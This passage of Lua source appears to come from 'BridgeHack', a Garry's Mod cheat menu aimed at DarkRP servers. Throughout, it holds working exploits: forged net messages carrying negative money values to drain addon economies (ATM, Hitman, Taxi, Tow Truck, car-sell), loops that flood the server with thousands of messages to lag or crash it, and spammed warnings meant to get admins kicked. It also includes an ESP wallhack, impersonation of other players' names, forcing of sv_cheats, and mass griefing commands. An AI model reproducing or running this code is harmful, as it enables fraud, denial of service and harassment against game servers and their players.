1672 chatP("AE was not found, bh_ae will not work.")
1673
1674 end end
1675
1676concommand.Add("bh_aecheck", CheckAE, SVersionCheck)
1677
1678
1679
1680concommand.Add("bh_ae_kickadmins",function()
1681
1682clearcon()
1683
1684chatP("Attempting to Kick admins")
1685
1686chatP("This will only work on admins+")
1687
1688timer.Create( "aekickdaskids", 3, 0, function()
1689
1690for k,v in ipairs(player.GetAll()) do
1691
1692if( v:GetUserGroup() != "user" ) then
1693
1694if( v:GetUserGroup() != "vip" ) then
1695
1696for i=0, 1000 do
1697
1698net.Start('plyWarning')
1699
1700 net.WriteEntity(v)
1701
1702 net.WriteString('You have to select a player before doing a action.')
1703
1704 net.SendToServer()
1705
1706end
1707
1708chatP('Attempting to kick: '.. v:Nick().. "!")
1709
1710
1711
1712end end end end) end)
1713
1714
1715
1716concommand.Add("bh_namesteal_on",function()
1717
1718 status("Running Script: Random Name Change [name steal]....")
1719
1720
1721
1722 timer.Create("startNAMECHANGEsteal", 0.12, 0, function()
1723
1724 local plylastname = ply:Nick()
1725
1726 for k,v in pairs(player.GetAll()) do
1727
1728 local ligger_type = math.random(1,2)
1729
1730 local ligger_type1 = math.random(1,2)
1731
1732 status("Trying Name change to " .. v:Nick() .. " - " .. v:SteamID())
1733
1734 if ligger_type1 == ligger_type then
1735
1736 status("Name Changing to " .. v:Nick() .. " - " .. v:SteamID())
1737
1738 if plylastname == v:Nick() then
1739
1740 local ligger_type = math.random(1,2)
1741
1742 local ligger_type1 = math.random(1,2)
1743
1744 else
1745
1746 ply:ConCommand("darkrp name " .. v:Nick() .. math.random(1,10))
1747
1748 status("Changed Name to " .. v:Nick() .. " - " .. v:SteamID())
1749
1750 end
1751
1752 local ligger_type = math.random(1,2)
1753
1754 local ligger_type1 = math.random(1,2)
1755
1756 end end end) end)
1757
1758
1759
1760concommand.Add("bh_namesteal_off",function()
1761
1762 timer.Destroy("startNAMECHANGEsteal",0.12,0,function()
1763
1764 end) end)
1765
1766
1767
1768concommand.Add("bh_removelookingat",function()
1769
1770 chatP("Removing prop looking at...")
1771
1772 net.Start( "MDE_RemoveStuff_C2S" )
1773
1774 net.WriteTable( {DATA="",TARGET=sweg} )
1775
1776 net.SendToServer()
1777
1778
1779
1780end)
1781
1782
1783
1784concommand.Add("__bh_lagdarkrpdashit",function()
1785
1786 chatP("Starting the lag...")
1787
1788 timer.Create("lag"..BridgeHack.RandomVar, 1, 0, function()
1789
1790 for i=1,10000 do
1791
1792 net.Start("DarkRP_spawnPocket")
1793
1794 net.SendToServer()
1795
1796 end
1797
1798 status("PROGRESS[10000/10000]")
1799
1800
1801
1802 end) end)
1803
1804
1805
1806concommand.Add( "__bh_stopplag",function( )
1807
1808 chatP("Stopping the lag...")
1809
1810 timer.Destroy("lag"..BridgeHack.RandomVar)
1811
1812end)
1813
1814
1815
1816if dspam == true then
1817
1818 chatP("Spam split / make shipment ON")
1819
1820 timer.Create("spamdashit"..BridgeHack.RandomVar,0.1,function()
1821
1822 for k,v in pairs(ents.GetAll()) do
1823
1824 if v.Entity:GetString() == "spawned_shipment" then
1825
1826 status("Splitting shipment")
1827
1828 RunConsoleCommand("darkrp","splitshipment",v.Entity:EntIndex())
1829
1830 elseif v.Entity:GetClassName() == "spawned_weapon" then
1831
1832 status("Making shipment")
1833
1834 RunConsoleCommand("darkrp","makeshipment",v.Entity:EntIndex())
1835
1836 end end end) end
1837
1838
1839
1840if dspam == false then
1841
1842 chatP("Spam split / make shipment OFF")
1843
1844 timer.Simple(1,function()
1845
1846 timer.Destroy("spamdashit"..BridgeHack.RandomVar,function()
1847
1848 end) end) end
1849
1850
1851
1852concommand.Add("bh_kun_ziptie_untie",function()
1853
1854 chatP("Untieing...")
1855
1856 for i=0,30 do
1857
1858 net.Start("Kun_ZiptieStruggle")
1859
1860 net.SendToServer()
1861
1862 end
1863
1864end)
1865
1866
1867
1868concommand.Add("___darkrpshipments", function()
1869
1870 if dspam != true then
1871
1872 dspam = true
1873
1874 elseif dspam == true then
1875
1876 dspam = false
1877
1878 end end)
1879
1880
1881
1882local function BridgeHackCHECK(v)
1883
1884 if v:Alive() == true && v:Health() ~= 0 && v:Health() >= 0 && v ~= LocalPlayer() && LocalPlayer():Alive() then
1885
1886 return true
1887
1888 else
1889
1890 return false
1891
1892 end end
1893
1894
1895
1896hook.Add("HUDPaint", "JESP", function()
1897
1898 for k,v in pairs(player.GetAll()) do
1899
1900 if GetConVarNumber("bh_esp") > 0 then
1901
1902 if(v ~= LocalPlayer() and BridgeHackCHECK(v)) then
1903
1904 if GetConVarNumber("bh_renderdistance_enable") > 0 then
1905
1906 if LocalPlayer():GetPos():Distance(v:GetPos()) < GetConVarNumber("bh_esp_rdistance") then
1907
1908 local PlayerESP = (v:EyePos()):ToScreen()
1909
1910 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1911
1912 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1913
1914
1915
1916 draw.DrawText(v:Name(), "BudgetLabel", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1917
1918
1919
1920 if GetConVarNumber("bh_esp_rank") > 0 then
1921
1922 draw.DrawText(v:GetUserGroup(), "BudgetLabel", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1923
1924 end
1925
1926
1927
1928 if GetConVarNumber("bh_esp_hp") > 0 then
1929
1930 local infocolor = Color(255,0,255)
1931
1932 draw.DrawText(v:Health() .. " HP", "BudgetLabel", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1933
1934 end
1935
1936
1937
1938 local col = team.GetColor(v:Team()) -- looped into esp (square box)
1939
1940 local min, max = v:WorldSpaceAABB()
1941
1942
1943
1944 min, max = min:ToScreen(), max:ToScreen()
1945
1946
1947
1948 local h = (min.y / 2) - (max.y / 2)
1949
1950 surface.SetDrawColor(col.g, col.b, col.r)
1951
1952
1953
1954 if GetConVarNumber("bh_esp_box") > 0 then
1955
1956 surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)
1957
1958 surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)
1959
1960 surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)
1961
1962 end end
1963
1964 else
1965
1966
1967
1968 local PlayerESP = (v:EyePos()):ToScreen()
1969
1970 local infocolor = Color(0,255,0)
1971
1972 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1973
1974 draw.DrawText(v:Name(), "BudgetLabel", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1975
1976
1977
1978 if GetConVarNumber("bh_esp_rank") > 0 then
1979
1980 draw.DrawText(v:GetUserGroup(), "BudgetLabel", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1981
1982 end
1983
1984
1985
1986 if GetConVarNumber("bh_esp_hp") > 0 then
1987
1988 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1989
1990 draw.DrawText(v:Health() .. " HP", "BudgetLabel", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1991
1992 end
1993
1994
1995
1996 local col = team.GetColor(v:Team()) -- looped into esp (square box)
1997
1998
1999
2000 local min, max = v:WorldSpaceAABB()
2001
2002 min, max = min:ToScreen(), max:ToScreen()
2003
2004 local h = (min.y / 2) - (max.y / 2)
2005
2006
2007
2008 surface.SetDrawColor(col.g, col.b, col.r)
2009
2010
2011
2012 if GetConVarNumber("bh_esp_box") > 0 then
2013
2014 surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)
2015
2016 surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)
2017
2018 surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)
2019
2020 end end end end end end)
2021
2022
2023
2024function blur_on()
2025
2026 DrawMaterialOverlay( "Models/effects/comball_tape", 0.5 )
2027
2028end
2029
2030
2031
2032function blur_off()
2033
2034 DrawMaterialOverlay( "", 0.1 )
2035
2036end
2037
2038
2039
2040concommand.Add("+bh_menu", function( ply )
2041
2042 status("Menu Opened.")
2043
2044 if GetConVarNumber("bh_menu_effects") == 1 then
2045
2046 hook.Add( "RenderScreenspaceEffects", "BlurBG", blur_on )
2047
2048 end
2049
2050--[[
2051
2052 mainmenu
2053
2054
2055
2056
2057
2058 THE MAIN
2059
2060
2061
2062
2063
2064 MENU
2065
2066
2067
2068
2069
2070
2071
2072 STARTS
2073
2074
2075
2076
2077
2078
2079
2080 HERE
2081
2082
2083
2084 |
2085
2086 V
2087
2088]]--
2089
2090local menu = DermaMenu()
2091
2092menu:Center()
2093
2094menu:AddOption( "BridgeHack "..dlversion, function()
2095
2096 AboutMenu()
2097
2098end ):SetImage( "icon16/shield.png" )
2099
2100menu:AddSpacer()
2101
2102function menu:Paint( w, h )
2103
2104 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(255,255,255,150), true, true, true, true )
2105
2106 draw.RoundedBoxEx( 4, 0, 0, w, 22, Color(255,137,0,200), true, true, false, false )
2107
2108 surface.SetDrawColor( 0,0,0 )
2109
2110 surface.DrawOutlinedRect( 0, 0, w, h)
2111
2112end
2113
2114local ForcingMenu, optMenu = menu:AddSubMenu("Client-side Forcing")
2115
2116
2117
2118ForcingMenu:AddOption( "Force sv_allowcslua 1", function()
2119
2120 ply:ConCommand("incrementvar sv_allowcslua 0 1 1")
2121
2122 status("Forced SV_ALLOWCSLUA TO 1")
2123
2124end):SetImage( "icon16/link_error.png" )
2125
2126
2127
2128ForcingMenu:AddOption( "Force sv_cheats 1", function()
2129
2130 ply:ConCommand("incrementvar sv_cheats 0 1 1")
2131
2132 status("Forced SV_CHEATS TO 1")
2133
2134end):SetImage( "icon16/link_error.png" )
2135
2136
2137
2138local ESP = menu:AddSubMenu("ESP")
2139
2140
2141
2142ESP:AddOption( "[ON] ESP", ESP_on):SetImage( "icon16/group_add.png" )
2143
2144ESP:AddOption( "[OFF] ESP", ESP_off):SetImage( "icon16/group_delete.png" )
2145
2146
2147
2148local Speed = menu:AddSubMenu("Speed")
2149
2150Speed:AddOption( "[ON] SpeedHack", speedhack_on):SetImage( "icon16/lightning_go.png" )
2151
2152Speed:AddOption( "[OFF] SpeedHack", speedhack_off):SetImage( "icon16/lightning_delete.png" )
2153
2154
2155
2156
2157
2158local NameStealSub = menu:AddSubMenu( "Name Stealing/Changing" )
2159
2160NameStealSub:AddOption( "[ON] Name Steal", function()
2161
2162 ply:ConCommand("bh_namesteal_on")
2163
2164end ):SetImage( "icon16/book_addresses.png" )
2165
2166
2167
2168NameStealSub:AddOption( "[OFF] Name Steal", function()
2169
2170 status("Stopped Script: Random Name Change [name steal]")
2171
2172 ply:ConCommand("bh_namesteal_off")end ):SetImage( "icon16/book.png" )
2173
2174
2175
2176local MoneyExploits = menu:AddSubMenu( "DarkRP Money Explots" )
2177
2178
2179
2180 MoneyExploits:AddOption("[$$] Drug Sell",function()
2181
2182 for i=1,1000 do
2183
2184 net.Start("Kun_SellDrug")
2185
2186 net.WriteString("Meth")
2187
2188 net.SendToServer()
2189
2190 end end):SetImage( "icon16/coins_add.png" )
2191
2192
2193
2194 MoneyExploits:AddOption( "[$$] Taxi Driver Money",function()
2195
2196 chatp("Giving money")
2197
2198 net.Start("Taxi_Add")
2199
2200 net.WriteString("MLG")
2201
2202 net.WriteTable({-1333.647461, -1473.931763, -139.968750})
2203
2204 net.WriteFloat(-99999999)
2205
2206 net.WriteString(Desc)
2207
2208 net.SendToServer()
2209
2210 end):SetImage( "icon16/coins_add.png" )
2211
2212
2213
2214 MoneyExploits:AddOption( "[$$] SS Shelf NET",function()
2215
2216 chatP("Attempting to give money..")
2217
2218 for k,v in pairs(ents.GetAll()) do
2219
2220 swag = v
2221
2222 end
2223
2224 net.Start( 'NET_SS_DoBuyTakeoff' )
2225
2226 net.WriteEntity(LocalPlayer())
2227
2228 net.WriteEntity(swag)
2229
2230 net.WriteTable({'spawned_weapon'})
2231
2232 net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
2233
2234 net.SendToServer()
2235
2236 end):SetImage( "icon16/coins_add.png" )
2237
2238
2239
2240 MoneyExploits:AddOption( "[$$] HITMAN MONEY",function()
2241
2242 chatP("Attempting to give money..")
2243
2244 net.Start( "DaHit" )
2245
2246 net.WriteFloat( -1000000000000000000000 )
2247
2248 --net.WriteFloat( tm )
2249
2250 net.WriteEntity( LocalPlayer() )
2251
2252 net.WriteEntity( LocalPlayer() )
2253
2254 net.WriteEntity( LocalPlayer() )
2255
2256 net.SendToServer()
2257
2258 end):SetImage( "icon16/coins_add.png" )
2259
2260
2261
2262 MoneyExploits:AddOption( "[$$] HHH MONEY",function()
2263
2264 local ply = LocalPlayer()
2265
2266 for k,v in pairs(player.GetAll()) do
2267
2268 dahater = v
2269
2270 end
2271
2272
2273
2274 local hitRequest = {}
2275
2276 hitRequest.hitman = ply
2277
2278 hitRequest.requester = ply
2279
2280 hitRequest.target = dahater
2281
2282 hitRequest.reward = 100000000
2283
2284
2285
2286 net.Start( 'hhh_request' )
2287
2288 net.WriteTable( hitRequest )
2289
2290 net.SendToServer()
2291
2292
2293
2294 end):SetImage( "icon16/coins_add.png" )
2295
2296
2297
2298 MoneyExploits:AddOption("[$$] BOONPC",function()
2299
2300 net.Start('BuyCar')
2301
2302 net.WriteFloat(-1000000000000)
2303
2304 net.WriteEntity(LocalPlayer())
2305
2306 net.WriteString("BridgeHack")
2307
2308 net.WriteString("BridgeHack")
2309
2310 net.WriteString("BridgeHack")
2311
2312 net.SendToServer()
2313
2314 end):SetImage( "icon16/coins_add.png" )
2315
2316
2317
2318 MoneyExploits:AddOption("[$$] Hitman X Menu",function()
2319
2320 local frame = vgui.Create( "DFrame" )
2321
2322 frame:Center()
2323
2324 frame:SetSize( 200,150 )
2325
2326 frame:SetTitle( "" )
2327
2328 frame:MakePopup()
2329
2330 frame:ShowCloseButton( false )
2331
2332 function frame:Paint( w, h )
2333
2334 draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )
2335
2336 draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )
2337
2338 draw.SimpleText( "BridgeHack Hitman X Menu", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
2339
2340 end
2341
2342
2343
2344 local playerMenu = vgui.Create( "DComboBox", frame )
2345
2346 playerMenu:SetPos( 10,40 )
2347
2348 playerMenu:SetSize( 120,20 )
2349
2350 playerMenu:SetText( "Select a Player")
2351
2352 for k, v in pairs( player.GetAll() ) do
2353
2354 playerMenu:AddChoice( tostring( v:Name() ) )
2355
2356 playerMenu:SetTextColor(color_black)
2357
2358 end
2359
2360
2361
2362 local Button = vgui.Create("DButton", frame)
2363
2364 Button:SetPos( 180, 2 )
2365
2366 Button:SetSize( 20, 20 )
2367
2368 Button:SetText( "" )
2369
2370 function Button:Paint( w, h )
2371
2372 draw.SimpleText( "X", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
2373
2374 end
2375
2376 Button.DoClick = function()
2377
2378 frame:Close()
2379
2380 end
2381
2382
2383
2384 local SpamHit = vgui.Create("DButton", frame )
2385
2386 SpamHit:SetPos( 20,70 )
2387
2388 SpamHit:SetSize( 150,20 )
2389
2390 SpamHit:SetText( "Get Money" )
2391
2392 SpamHit:SetTextColor( Color(0,0,0) )
2393
2394 SpamHit.DoClick = function()
2395
2396 local v = playerMenu:GetText()
2397
2398 net.Start( "SendMoney" )
2399
2400 net.WriteEntity( v )
2401
2402 net.WriteEntity( v )
2403
2404 net.WriteEntity( v )
2405
2406 net.WriteString( "-100000000000000000000000000000000000000000" )
2407
2408 net.SendToServer()
2409
2410 end
2411
2412
2413
2414 local CrashButton = vgui.Create("DButton", frame )
2415
2416 CrashButton:SetPos( 20,90 )
2417
2418 CrashButton:SetSize( 150,20 )
2419
2420 CrashButton:SetText( "Crash Server" )
2421
2422 CrashButton:SetTextColor( Color(0,0,0) )
2423
2424 CrashButton.DoClick = function()
2425
2426 for i=0, 10 do
2427
2428 ply:ConCommand("bh_hitmanxcrash")
2429
2430 end
2431
2432 end
2433
2434
2435
2436 local InfaButton = vgui.Create("DButton", frame )
2437
2438 InfaButton:SetPos( 20,110 )
2439
2440 InfaButton:SetSize( 150,20 )
2441
2442 InfaButton:SetText( "Infinite Money For Everyone" )
2443
2444 InfaButton:SetTextColor( Color(0,0,0) )
2445
2446 InfaButton.DoClick = function()
2447
2448 ply:ConCommand("bh_hitmanxinfa")
2449
2450 end
2451
2452 end):SetImage( "icon16/application_form.png" )
2453
2454
2455
2456 MoneyExploits:AddOption( "[$$] HITMENU",function()
2457
2458 local HitPanel = vgui.Create( "DFrame" )
2459
2460 HitPanel:SetPos( ScrW()/5, ScrH()/10 )
2461
2462 HitPanel:SetSize( 300, 200 )
2463
2464 HitPanel:SetTitle( " " )
2465
2466 HitPanel:SetVisible( true )
2467
2468 HitPanel:SetDraggable( true )
2469
2470 HitPanel:ShowCloseButton( false )
2471
2472 HitPanel:MakePopup()
2473
2474 function HitPanel:Paint( w, h )
2475
2476 draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 255,160) )
2477
2478 draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )
2479
2480 draw.SimpleText( "BridgeHack HitHack Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
2481
2482 end
2483
2484
2485
2486 local Button = vgui.Create("DButton", HitPanel)
2487
2488 Button:SetPos( 250, 0 )
2489
2490 Button:SetSize( 50, 25 )
2491
2492 Button:SetText( "" )
2493
2494 function Button:Paint( w, h )
2495
2496 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
2497
2498 draw.SimpleText( "Close", "HeaderFont", 6, 2, Color( 255,255,255 ), 0, 0 )
2499
2500 end
2501
2502 Button.DoClick = function()
2503
2504 HitPanel:Close()
2505
2506 end
2507
2508
2509
2510 local HitButton = vgui.Create("DButton", HitPanel)
2511
2512 HitButton:SetPos( 140, 100 )
2513
2514 HitButton:SetSize( 100, 20 )
2515
2516 HitButton:SetText( "Get Money" )
2517
2518 HitButton:SetTextColor( Color(255,255,255) )
2519
2520 function HitButton:Paint( w, h )
2521
2522 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
2523
2524 end
2525
2526 HitButton.DoClick = function()
2527
2528 ply:ConCommand("bh_hithack")
2529
2530 end
2531
2532
2533
2534 local HitSlider = vgui.Create( "DNumSlider", HitPanel )
2535
2536 HitSlider:SetPos( 20, 50 )
2537
2538 HitSlider:SetSize( 300, 40 )
2539
2540 HitSlider:SetText( "Money Ammount" )
2541
2542 HitSlider:SetMin( 0 )
2543
2544 HitSlider:SetMax( 1000000000 )
2545
2546 HitSlider:SetDecimals( 0 )
2547
2548 HitSlider:SetConVar( "bh_hitmenuammount" )
2549
2550
2551
2552 end):SetImage( "icon16/coins_add.png" )
2553
2554
2555
2556 MoneyExploits:AddOption( "[$$] 3D Car Dealer",function()
2557
2558 ply:ConCommand("bh_3dcardealer_spamstore")
2559
2560 end):SetImage( "icon16/coins_add.png" )
2561
2562
2563
2564 MoneyExploits:AddOption( "[$$] VCMOD Sell-car",function()
2565
2566 chatP("Attempting to give money..")
2567
2568 for i=0,30 do
2569
2570 for i=1,10 do
2571
2572 net.Start( "AttemptSellCar" )
2573
2574 net.WriteInt( i, 8 )
2575
2576 net.SendToServer()
2577
2578 end
2579
2580 end
2581
2582 end):SetImage( "icon16/coins_add.png" )
2583
2584
2585
2586 MoneyExploits:AddOption( "[$$] BAILNPC",function()
2587
2588 chatP("Attempting to give money..")
2589
2590 net.Start( "BailOut" )
2591
2592 net.WriteEntity( ply )
2593
2594 net.WriteEntity( ply )
2595
2596 net.WriteFloat( -10000000000000)
2597
2598 net.SendToServer()
2599
2600 end):SetImage( "icon16/coins_add.png" )
2601
2602
2603
2604 MoneyExploits:AddOption("[$$] REALISTIC ATM",function()
2605
2606 local DermaPanel = vgui.Create( "DFrame" )
2607
2608 DermaPanel:SetPos( 100, 100 )
2609
2610 DermaPanel:SetSize( 300, 200 )
2611
2612 DermaPanel:SetTitle( " " )
2613
2614 DermaPanel:SetVisible( true )
2615
2616 DermaPanel:SetDraggable( true )
2617
2618 DermaPanel:ShowCloseButton( true )
2619
2620 function DermaPanel:Paint( w, h )
2621
2622 draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 0,160) )
2623
2624 draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )
2625
2626 draw.SimpleText( "BridgeHack Realistic ATM Hack Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
2627
2628 end
2629
2630 DermaPanel:MakePopup()
2631
2632
2633
2634 local TextEntry = vgui.Create( "DTextEntry", DermaPanel )
2635
2636 TextEntry:SetPos( 75, 30 )
2637
2638 TextEntry:SetSize( 150, 25 )
2639
2640 TextEntry:SetText( "Account num(Including the -!)" )
2641
2642
2643
2644 local BBDButton = vgui.Create( "DButton",DermaPanel )
2645
2646 BBDButton:SetPos( 10, 120 )
2647
2648 BBDButton:SetText( "Give Money" )
2649
2650 BBDButton:SetTextColor( Color(255,255,255) )
2651
2652 BBDButton:SetSize( 280, 75 )
2653
2654 function BBDButton:Paint( w, h )
2655
2656 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,255,150) )
2657
2658 end
2659
2660 BBDButton.DoClick = function()
2661
2662 local accnumber = TextEntry:GetValue()
2663
2664 local moneytogive = GetConVarNumber("bh_ratm_money2give")
2665
2666 chatP("Attempting to give "..moneytogive.."$ on Account Number: "..accnumber)
2667
2668 net.Start("ATM_DepositMoney_C2S")
2669
2670 net.WriteTable({Memo =BridgeHack.RandomVar,Num=accnumber,Amount=-moneytogive})
2671
2672 net.SendToServer()
2673
2674 end
2675
2676
2677
2678 local RenderDistance = vgui.Create( "DNumSlider", DermaPanel )
2679
2680 RenderDistance:SetPos( 10, 50)
2681
2682 RenderDistance:SetSize( 275, 25 )
2683
2684 RenderDistance:SetText( "Money to give" )
2685
2686 RenderDistance:SetMin( 0 )
2687
2688 RenderDistance:SetMax( 500000 )
2689
2690 RenderDistance:SetDecimals( 0 )
2691
2692 RenderDistance:SetConVar( "bh_ratm_money2give" )
2693
2694 end):SetImage("icon16/coins_add.png")
2695
2696
2697
2698 MoneyExploits:AddOption( "[$$] TOW TRUCK DRIVER",function()
2699
2700 chatP("Giving money..")
2701
2702 for k,v in pairs(ents.GetAll()) do
2703
2704 status("Attempting to make fine")
2705
2706 net.Start("TOW_SubmitWarning")
2707
2708 net.WriteString(LocalPlayer():SteamID())
2709
2710 net.WriteDouble(-100000000000)
2711
2712 net.WriteEntity(v)
2713
2714 net.SendToServer()
2715
2716
2717
2718 net.Start("TOW_PayTheFine")
2719
2720 net.WriteEntity(v)
2721
2722 net.SendToServer()
2723
2724 end
2725
2726 end):SetImage( "icon16/coins_add.png" )
2727
2728
2729
2730local DARKRPBASEDSUB = menu:AddSubMenu( "DarkRP Minging/Scripts" )
2731
2732
2733
2734 DARKRPBASEDSUB:AddOption("[ON] Dlog Lag",function()
2735
2736 ply:ConCommand("bh_dlogs_lag")
2737
2738 end):SetImage( "icon16/table_error.png" )
2739
2740
2741
2742 DARKRPBASEDSUB:AddOption("[OFF] Dlog Lag",function()
2743
2744 ply:ConCommand("bh_dlogs_lag_off")
2745
2746 end):SetImage( "icon16/table_add.png" )
2747
2748
2749
2750 DARKRPBASEDSUB:AddOption("HitMenu Spam",function()
2751
2752 local ply = LocalPlayer()
2753
2754
2755
2756 local frame = vgui.Create( "DFrame" )
2757
2758 frame:Center()
2759
2760 frame:SetSize( 200,150 )
2761
2762 frame:SetTitle( "" )
2763
2764 frame:MakePopup()
2765
2766 frame:ShowCloseButton( false )
2767
2768 function frame:Paint( w, h )
2769
2770 draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )
2771
2772 draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )
2773
2774 draw.SimpleText( "BridgeHack Hitspam", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
2775
2776 end
2777
2778
2779
2780 local playerMenu = vgui.Create( "DComboBox", frame )
2781
2782 playerMenu:SetPos( 10,40 )
2783
2784 playerMenu:SetSize( 120,20 )
2785
2786 playerMenu:SetText( "Select a Player")
2787
2788 for k, v in pairs( player.GetAll() ) do
2789
2790 playerMenu:AddChoice( tostring( v:Name() ) )
2791
2792 end
2793
2794
2795
2796 local SpamHit = vgui.Create("DButton", frame )
2797
2798 SpamHit:SetPos( 50,70 )
2799
2800 SpamHit:SetSize( 100,20 )
2801
2802 SpamHit:SetText( "Place Dem Hits" )
2803
2804 SpamHit:SetTextColor( Color(0,0,0) )
2805
2806 SpamHit.DoClick = function()
2807
2808 local v = playerMenu:GetText()
2809
2810 for i=0, 4 do
2811
2812 ply:ConCommand('addhit "'..v..'" 500')
2813
2814 end
2815
2816 end
2817
2818
2819
2820 local CrashButton = vgui.Create("DButton", frame )
2821
2822 CrashButton:SetPos( 50,110 )
2823
2824 CrashButton:SetSize( 100,20 )
2825
2826 CrashButton:SetText( "Crash Server" )
2827
2828 CrashButton:SetTextColor( Color(0,0,0) )
2829
2830 CrashButton.DoClick = function()
2831
2832 chatP("Hitmanmenu got rekt!")
2833
2834 consoleP("Hitmanmenu got rekt")
2835
2836 for i=0, 10 do
2837
2838 ply:ConCommand("bh_hitmancrash")
2839
2840 end
2841
2842 end
2843
2844
2845
2846 local Button = vgui.Create("DButton", frame)
2847
2848 Button:SetPos( 170, 0 )
2849
2850 Button:SetSize( 30, 20 )
2851
2852 Button:SetText( "Close" )
2853
2854 Button:SetTextColor( Color( 255, 255, 255) )
2855
2856 function Button:Paint( w, h )
2857
2858 draw.RoundedBox( 4, 0, 0, w, h, Color(0,0,0,200) )
2859
2860 end
2861
2862 Button.DoClick = function()
2863
2864 frame:Close()
2865
2866 end
2867
2868
2869
2870 local label = vgui.Create( "DLabel", frame )
2871
2872 label:SetPos( 10,20 )
2873
2874 label:SetSize( 120,20 )
2875
2876 label:SetTextColor( Color(0,0,0) )
2877
2878 label:SetText( "Select Player:" )
2879
2880 end):SetImage("icon16/accept.png")
2881
2882
2883
2884 DARKRPBASEDSUB:AddOption("TP Spawn",function()
2885
2886 ply:ConCommand("bh_tp_spawn")
2887
2888 end):SetImage( "icon16/cake.png" )
2889
2890
2891
2892 DARKRPBASEDSUB:AddOption("[ON] Advert Spam",function()
2893
2894 ply:ConCommand("bh_advert 1")
2895
2896 end):SetImage( "icon16/bell_add.png" )
2897
2898
2899
2900 DARKRPBASEDSUB:AddOption("[OFF] Advert Spam",function()
2901
2902 ply:ConCommand("bh_advert 0")
2903
2904 end):SetImage( "icon16/bell_delete.png" )
2905
2906
2907
2908 DARKRPBASEDSUB:AddOption("Remove looking at prop",function()
2909
2910 timer.Simple(0.1,function()
2911
2912 chatP("(This can be binded to: bh_removelookingat)")
2913
2914 ply:ConCommand("bh_removelookingat")
2915
2916 end)
2917
2918 end):SetImage("icon16/map_delete.png")
2919
2920
2921
2922 DARKRPBASEDSUB:AddOption( "[X] KUN ZIPTIES UNTIE SELF ",function()
2923
2924 ply:ConCommand("bh_kun_ziptie_untie")
2925
2926 end):SetImage( "icon16/cut.png" )
2927
2928
2929
2930 DARKRPBASEDSUB:AddOption( "Open Armory", function()
2931
2932 chatP("Opening armory..")
2933
2934 ARMORY_WeaponMenu()
2935
2936 end):SetImage( "icon16/bomb.png" )
2937
2938
2939
2940 DARKRPBASEDSUB:AddOption( "[ON/OFF] Spam Split Shipment / Make Shipemnt", function()
2941
2942 ply:ConCommand("___darkrpshipments")
2943
2944 end):SetImage( "icon16/cut_red.png" )
2945
2946
2947
2948 DARKRPBASEDSUB:AddOption( "[ON] Make everyone wanted (Cop only)", function()
2949
2950 timer.Create("lollol3294385", 0.2, 0, function( )
2951
2952 for k,v in pairs(player.GetAll()) do
2953
2954 local ligger_type = math.random(1,13)
2955
2956 local ligger_type1 = math.random(1,13)
2957
2958 status("Attempting Want on: " .. v:Nick() .. " - " .. v:SteamID())
2959
2960 if ligger_type1 == ligger_type then
2961
2962 if last_ply == v:Nick() then
2963
2964 local ligger_type = math.random(1,13)
2965
2966 local ligger_type1 = math.random(1,13)
2967
2968 else
2969
2970 ply:ConCommand("darkrp wanted " .. v:Nick() .. " " .. math.random(1,999))
2971
2972 end
2973
2974
2975
2976 local last_ply = v:Nick()
2977
2978 local ligger_type = math.random(1,13)
2979
2980 local ligger_type1 = math.random(1,13)
2981
2982 status("Force Wanting: " .. v:Nick())
2983
2984 end
2985
2986 end
2987
2988 end)
2989
2990 end):SetImage( "icon16/cross.png" )
2991
2992
2993
2994 DARKRPBASEDSUB:AddOption( "[OFF] Make everyone wanted (Cop only)", function()
2995
